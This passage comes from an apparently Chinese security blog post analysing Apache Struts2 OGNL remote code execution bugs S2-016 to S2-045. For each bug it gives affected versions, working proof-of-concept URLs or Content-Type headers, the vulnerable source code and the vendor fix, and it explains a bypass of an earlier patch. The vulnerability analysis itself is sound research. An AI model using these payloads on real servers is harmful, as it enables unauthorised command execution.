14px;">先看调用栈，</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.5501792114695341" data-s="300,640" style="" data-type="png" data-w="1116" src="https://wechat2rss.xlab.app/img-proxy/?k=6e73a0df&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtFB4cYIYysKwy9gvxQkDqzA0kUFMkbLVicOpfKLvyJib3ibbJJhoZAl2Vg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">调用栈和原理也和012几乎一样不再详细分析。</span></p><p><span style="font-size: 14px;">唯一需要注意的就是ST2对类似于redirect:这样的写法的处理是统一放在DefaultActionMapper里的，感兴趣的可以自己去看一下源码，</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.17273954116059378" data-s="300,640" style="" data-type="png" data-w="1482" src="https://wechat2rss.xlab.app/img-proxy/?k=e467b756&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtVAYRbqe09agepuxxxa3zEOcB3pusg2vibYqZvI7Oslmpxgwp13iaKb5Q%2F640%3Fwx_fmt%3Dpng"/></p><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">修复</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><p style="text-align: left;"><span style="font-size: 14px;">修复方式十分简单粗暴，把这种用法给删除， 只留下了action:和method:两种无害的写法。（因为通过actionname造成的RCE已经在015漏洞处修复，所以action:这种写法就算是无害的了。）</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.3021933387489846" data-s="300,640" style="" data-type="png" data-w="2462" src="https://wechat2rss.xlab.app/img-proxy/?k=8c802fbf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtxkEmvMeibeicH1ILPGet1pErfKwhug8XEwljKV9KjZdjbibl8xI8hjtug%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="font-size: 17px;">S2-019</span></p><p><span style="font-size: 16px;"><strong>适用版本：2.0.0 - 2.3.15.1</strong></span></p><p><span style="font-size: 16px;"><strong><br/></strong></span></p><p><span style="font-size: 14px;">019漏洞要求ST2开启开发者模式才能利用成功，不过ST2默认情况下开发者模式是打开的，如果想关闭，需要在struts.xml中添加如下配置，</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer">&lt;constant name=”struts.devMode” value=”false” /&gt;</span></code></pre></section><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">简易POC</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><p><span style="font-size: 14px;">随便找个action，param的话post和get都行， </span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="apache"><code><span class="code-snippet_outer"><a href="http://www.glassy.com/Struts2Demo_war_exploded/hello.action?debug=command&amp;expression=%23a%3d(new+java.lang.ProcessBuilder(%27open+%2fApplications%2fNotes.app%2f%27)).start()" target="_blank">http://www.glassy.com/Struts2Demo_war_exploded/hello.action?debug=command&amp;expression=%23a%3d(new+java.lang.ProcessBuilder(%27open+%2fApplications%2fNotes.app%2f%27)).start()</a></span></code></pre></section><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">原理</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><p><span style="font-size: 14px;">看这个漏洞要求开发者模式，且poc第一个参数是debug，就知道触发点应该是在DebuggingInterceptor上，去看一下intercept函数，整个利用一目了然，</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"> public String intercept(ActionInvocation inv) throws Exception {</span></code><code><span class="code-snippet_outer">        boolean actionOnly = false;</span></code><code><span class="code-snippet_outer">        boolean cont = true;</span></code><code><span class="code-snippet_outer">        Boolean devModeOverride = FilterDispatcher.getDevModeOverride();</span></code><code><span class="code-snippet_outer">        boolean devMode = devModeOverride != null ? devModeOverride : this.devMode;</span></code><code><span class="code-snippet_outer">        final ActionContext ctx;</span></code><code><span class="code-snippet_outer">        if (devMode) {</span></code><code><span class="code-snippet_outer">            ctx = ActionContext.getContext();</span></code><code><span class="code-snippet_outer">            String type = this.getParameter(&#34;debug&#34;);</span></code><code><span class="code-snippet_outer">            ctx.getParameters().remove(&#34;debug&#34;);</span></code><code><span class="code-snippet_outer">            if (&#34;xml&#34;.equals(type)) {</span></code><code><span class="code-snippet_outer">                inv.addPreResultListener(new PreResultListener() {</span></code><code><span class="code-snippet_outer">                    public void beforeResult(ActionInvocation inv, String result) {</span></code><code><span class="code-snippet_outer">                        DebuggingInterceptor.this.printContext();</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">               ...</span></code><code><span class="code-snippet_outer">               ...</span></code><code><span class="code-snippet_outer">            } else if (&#34;command&#34;.equals(type)) {</span></code><code><span class="code-snippet_outer">                ValueStack stack = (ValueStack)ctx.getSession().get(&#34;org.apache.struts2.interceptor.debugging.VALUE_STACK&#34;);</span></code><code><span class="code-snippet_outer">                if (stack == null) {</span></code><code><span class="code-snippet_outer">                    stack = (ValueStack)ctx.get(&#34;com.opensymphony.xwork2.util.ValueStack.ValueStack&#34;);</span></code><code><span class="code-snippet_outer">                    ctx.getSession().put(&#34;org.apache.struts2.interceptor.debugging.VALUE_STACK&#34;, stack);</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                String cmd = this.getParameter(&#34;expression&#34;);</span></code><code><span class="code-snippet_outer">                ServletActionContext.getRequest().setAttribute(&#34;decorator&#34;, &#34;none&#34;);</span></code><code><span class="code-snippet_outer">                HttpServletResponse res = ServletActionContext.getResponse();</span></code><code><span class="code-snippet_outer">                res.setContentType(&#34;text/plain&#34;);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                try {</span></code><code><span class="code-snippet_outer">                    PrintWriter writer = ServletActionContext.getResponse().getWriter();</span></code><code><span class="code-snippet_outer">                    writer.print(stack.findValue(cmd));</span></code><code><span class="code-snippet_outer">                    writer.close();</span></code><code><span class="code-snippet_outer">                } catch (IOException var17) {</span></code><code><span class="code-snippet_outer">                    var17.printStackTrace();</span></code><code><span class="code-snippet_outer">                }</span></code></pre></section><p><span style="font-size: 14px;">从debug参数获取调试模式，如果模式是command，则把expression参数放到stack.findValue中，最终放到了ognl.getValue中。</span></p><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">修复</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><p><span style="font-size: 14px;">这个漏洞说是利用只到2.3.15，但是我在2.3.16依旧可以利用成功，我猜官方的意思应该就是debug下允许这种操作，所以提倡使用者关闭开发者模式吧。</span></p><p><span style="font-size: 14px;"><br/></span></p><p><span style="font-size: 17px;">S2-029</span></p><p><span style="font-size: 16px;"><strong>适用版本：2.0.0 - 2.3.24.1 (不包括2.3.20.3)</strong></span></p><p><span style="font-size: 16px;"><strong><br/></strong></span></p><p><span style="font-size: 14px;">029的利用场景比较苛刻，所以在官方的漏洞定级上，比以往的RCE漏洞定级要低。</span></p><p><span style="font-size: 14px;">这次的RCE是一个二次的ongl表达式执行，它不再是像之前大多漏洞，随便找一个action就可以执行，它需要一个映射的jsp中将形如${name}的字符放到ST2的标签的属性中的action，然后通过将name参数构造出特殊的ognl表达式才能造成RCE。</span></p><p><span style="font-size: 14px;"><br/></span></p><p><span style="font-size: 14px;">下面给出示例写法，</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer">&lt;s:textfield name=&#34;%{message}&#34;&gt;&lt;/s:textfield&gt;</span></code></pre></section><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">实用poc</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><p><span style="font-size: 14px;">这次的实用POC非常好写，不需要重写response类，因为ST2会把插入的OGNL表达式的结果当做标签的value返回给前端。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="perl"><code><span class="code-snippet_outer"><a href="http://www.glassy.com/Struts2Demo_war_exploded/s2029.action?message=(%23_memberAccess[" target="_blank">http://www.glassy.com/Struts2Demo_war_exploded/s2029.action?message=(%23_memberAccess[</a>&#39;allowPrivateAccess&#39;]=true,%23_memberAccess[&#39;allowProtectedAccess&#39;]=true,%23_memberAccess[&#39;excludedPackageNamePatterns&#39;]=%23_memberAccess[&#39;acceptProperties&#39;],%23_memberAccess[&#39;excludedClasses&#39;]=%23_memberAccess[&#39;acceptProperties&#39;],%23_memberAccess[&#39;allowPackageProtectedAccess&#39;]=true,%23_memberAccess[&#39;allowStaticMethodAccess&#39;]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(&#39;open%20/Applications/Notes.app/&#39;).getInputStream()))</span></code></pre></section><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">原理</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><p><span style="font-size: 14px;">看一下调用栈，</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.7292929292929293" data-s="300,640" style="" data-type="png" data-w="990" src="https://wechat2rss.xlab.app/img-proxy/?k=74bcf84d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtQKJaeLrHMwDsoXbttLTmQGXd1teowDsgJ9Y8p1wnGml74MbNTI9OIQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">其实这个漏洞和001有着很大的相似性，001就是在返回jsp的时候需要把输入的值放到jsp标签的value中，所以先把这个参数名放到了ognl.getvalue中，而当它的值又是ognl表达式的时候，就会递归的放进getvalue中导致了RCE。因为后续的补丁已经从根本上隔绝了绕过的可能性，所以这次的漏洞就是保证了payload在进入补丁代码前就已经是ognl表达式的格式（即%{*}）。</span></p><p><span style="font-size: 14px;"><br/></span></p><p><span style="font-size: 14px;">当前端标签的属性值存在本来就是%{*}的格式的情况，只需要传入ognl表达式，就可以保证payload在传到UIBean的evaluateParams函数的时候，name就已经是一个ST2的ognl表达式格式了，这样在后续的处理中就会顺理成章的交给ognl.getvalue，从而导致了RCE。</span></p><p><span style="font-size: 14px;"><br/></span></p><p><span style="font-size: 14px;">问题的关键在于completeExpressionIfAltSyntax函数给我们传进的表达式放到了%{}之中，</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.27889447236180903" data-s="300,640" style="" data-type="png" data-w="1592" src="https://wechat2rss.xlab.app/img-proxy/?k=20f6d86b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtfQLVgdnv8SEUwLOIZgdE5udxybhAyuHQjib2RC4ZZ5zKCHX4bhMWibLA%2F640%3Fwx_fmt%3Dpng"/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer">    protected String completeExpressionIfAltSyntax(String expr) {</span></code><code><span class="code-snippet_outer">        return this.altSyntax() ? &#34;%{&#34; + expr + &#34;}&#34; : expr;</span></code><code><span class="code-snippet_outer">    }</span></code></pre></section><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">修复</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><p><span style="font-size: 14px;">这一次的修复放在了OgnlUtil处，选择了治标治本的方法，直接对AST树的执行权限做了限制。（之前第一次对AST树执行权限的限制仅仅是对ATSChain类的执行做了限制，而此次构造的payload生成的是ATSSequence类，所以这次也对这个类的执行做了限制）</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.18698517298187808" data-s="300,640" style="" data-type="png" data-w="2428" src="https://wechat2rss.xlab.app/img-proxy/?k=1af546ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtVliaicuCbUvKyYHcWFZQvLJGFaFcCS5WVgT7kjVdyVIDZLA1a6BCLk9Q%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="font-size: 17px;">S2-032</span></p><p style="text-align: left;"><span style="font-size: 15px;"><strong>适用版本：2.3.20 - 2.3.28（2.3.20.3和2.3.24.3除外）</strong></span></p><p><span style="font-size: 15px;"><strong><br/></strong></span></p><p style="text-align: left;"><span style="font-size: 14px;">这个版本漏洞要求在struts.xml中将DynamicMethodInvocation设置为true才能利用成功。（低版本ST2的DynamicMethodInvocation默认为true，高版本默认为false）</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">&lt;constant name=&#34;struts.enable.DynamicMethodInvocation&#34; value=&#34;true&#34; /&gt;</span></code></pre></section><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">简易poc</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="perl"><code><span class="code-snippet_outer"><a href="http://www.glassy.com/struts2-showcase/home11.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D),d&amp;cmd=/Applications/Notes.app/Contents/MacOS/Notes" target="_blank">http://www.glassy.com/struts2-showcase/home11.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D),d&amp;cmd=/Applications/Notes.app/Contents/MacOS/Notes</a></span></code></pre></section><p><br/></p><p><span style="font-size: 16px;"><strong>这一次的poc有几个非常奇妙的地方，需要一一留意。</strong></span></p><p style="text-align: left;"><span style="font-size: 14px;">1、为什么这一次没有直接写成@java.lang.Runtime@getRuntime().exec(&#39;whoami&#39;)的形式，而写成了@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D)的形式。</span></p><p style="text-align: left;"><span style="font-size: 14px;">有心的同志们可要去尝试一下第一种写法，会发现会报OGNL表达式错误，根本原因就在于使用method:的时候ST2会去创建一个ActionProxy来执行method后面的内容，当我们把内容放到StrutsActionProxy类的构造函数中去创建代理对象的时候会对我们传进来的表达式做一次编码，导致最后进入ognl.getValue中的表达式变成了@java.lang.Runtime@getRuntime().exec(\&#39;whoami\&#39;)，从而导致了ognl表达式的报错。而request中所有的参数都会放在context中，可以通过#parameters.参数名[0]的方式获取，非常方便。</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.2648578811369509" data-s="300,640" style="" data-type="png" data-w="1548" src="https://wechat2rss.xlab.app/img-proxy/?k=d395583f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtrX4iaAMheqE0O1kh8guo4LicEvFqQtsH7diaBJFykgI2OWLbbVR4MqxrA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="font-size: 14px;">2、为什么poc末尾会有一段非常奇怪的:&#39;,d&#39;。这个问题要去看一下DefaultActionInvocation类，</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.135678391959799" data-s="300,640" style="" data-type="png" data-w="1592" src="https://wechat2rss.xlab.app/img-proxy/?k=edf9c8e5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtEIvR6Ks4clK1qsicgTJjRndByUwSRCRF22CeTgSuebXiba0KDXhibfKicQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="font-size: 14px;">可以看到在传给ognl.getValue之前，代码会给我们传过来的表达式后面加一个括号，而我们的poc写成 ,d的形式只是为了去构成一个形如d()的函数形式，防止ognl表达式报错。</span></p><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">原理</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><p style="text-align: left;"><span style="font-size: 14px;">在S2-016中，我们已经介绍过，ST2处理url中处理method:这类写法的代码在DefaultActionMapper中，我们去看一下。</span><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.17673048600883653" data-s="300,640" style="" data-type="png" data-w="1358" src="https://wechat2rss.xlab.app/img-proxy/?k=8d3b900f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWthhWia8QMYpKsr3icjtrHia442I7WMe1mxxge5km44ia2icyvC1bsFuGutrg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style="font-size: 14px;">看到的那个if语句，也就是我们需要保证DynamicMethodInvocation为true的原因。</span></p><p style="text-align: left;"><span style="font-size: 14px;">看一下造成rce的调用栈，</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.2644927536231884" data-s="300,640" style="" data-type="png" data-w="1104" src="https://wechat2rss.xlab.app/img-proxy/?k=6a64e222&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtxOoEuianWIF5NZh375ibV4qqwHPlEM14dsI9ibFiamZRbbMJY3WzbXQkmw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="text-align: left;"><span style="font-size: 14px;">这一次调用栈也非常简单，关键的poc构造部分在上面已经解析完了，我这里依旧文字说明一下流程：当所有的interceptors调用完成后，计算返回码的时候，ST2就开始去计算我们最初传过来的method：后面的值，从而把内容放进了ognl.getValue，造成了RCE。</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.4145873320537428" data-s="300,640" style="" data-type="png" data-w="1042" src="https://wechat2rss.xlab.app/img-proxy/?k=80f9d79d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtTzeJL9OCA9PH0MaFGZDCKBkxibSIByF2vsKUTicrTlbLnDCXfHVVoV2w%2F640%3Fwx_fmt%3Dpng"/></p><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">修复</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><p style="text-align: left;"><span style="font-size: 14px;">这一次的修复是把传过来的methmod的值放到了cleanupActionName函数中做了一下正则过滤。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer">this.allowedActionNames = Pattern.compile(&#34;[a-zA-Z0-9._!/\\-]*&#34;);</span></code></pre></section><p style="text-align: left;"><span style="font-size: 14px;">看到这里有人会产生疑问，分明S2-029的修复补丁中把AST树的执行权限都禁了，怎么还能执行成功，我专门去看了一下2.3.28的代码，万万没想到，2.3.24.3的补丁代码没了，这也是为什么2.3.28可以利用而2.3.24.3除外的原因。</span></p><p style="text-align: left;"><span style="font-size: 14px;background-color: rgb(214, 214, 214);">注：S2-033和S2-037与032的利用原理、修复补丁基本相似，所以不再分析。</span></p><p style="text-align: left;"><span style="font-size: 14px;background-color: rgb(214, 214, 214);"><br/></span></p><p><span style="font-size: 17px;">S2-045</span></p><p><span style="font-size: 15px;"><strong>适用版本：2.3.5 - 2.3.31, 2.5 - 2.5.10</strong></span></p><p style="text-align: left;"><span style="font-size: 14px;">这次的漏洞，官方通告中说的是上传组件的问题导致的RCE漏洞，但是利用的话，随便任意一处.action都可以利用成功。</span></p><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">简易poc</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=889a6a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z50RibegOCq2Zg5ibNJfXBtWtYMsymLZJO0rVXB3kBHUp23dX22LBG1F05j1JibdU6obeeICXqpic98NA%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer">Content-Type:%{(#glassy=&#39;multipart/form-data&#39;).(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#a=(new java.lang.ProcessBuilder(&#39;/Applications/Notes.app/Contents/MacOS/Notes&#39;)).start())}</span></code></pre></section><p style="text-align: left;"><span style="font-size: 14px;">关于poc有一处细节非常重要，我们可以看到连接每个表达式的不再是&#39;,&#39; 而变成了&#39;.&#39; ，有心的同学可以去试一下使用&#39;,&#39;是不行的，问题就出在了S2-029的补丁把ATSSequence树给禁了，而用&#39;,&#39;连接生成的AST树都是ATSSequence树，使用之所以使用&#39;.&#39;也就是为了绕过S2-029的补丁。</span></p><section class="xmt-style-block" data-style-type="1" data-tools="新媒体排版" data-id="12978"><section class="KolEditor" style="border-width: 0px;border-style: none;border-color: initial;padding: 0px;margin-top: 20px;"><section style="border-width: 0px;border-style: none;border-color: initial;"><section style="text-align: center;white-space: normal;"><p style="color: rgb(240, 84, 84);text-align: left;" class="active brush"><span style="color: rgb(0, 0, 0);">原理</span></p></section><p style="text-align: left;white-space: normal;"><img class="" data-ratio="0.05555555555555555" data-w="180" data-type="png" 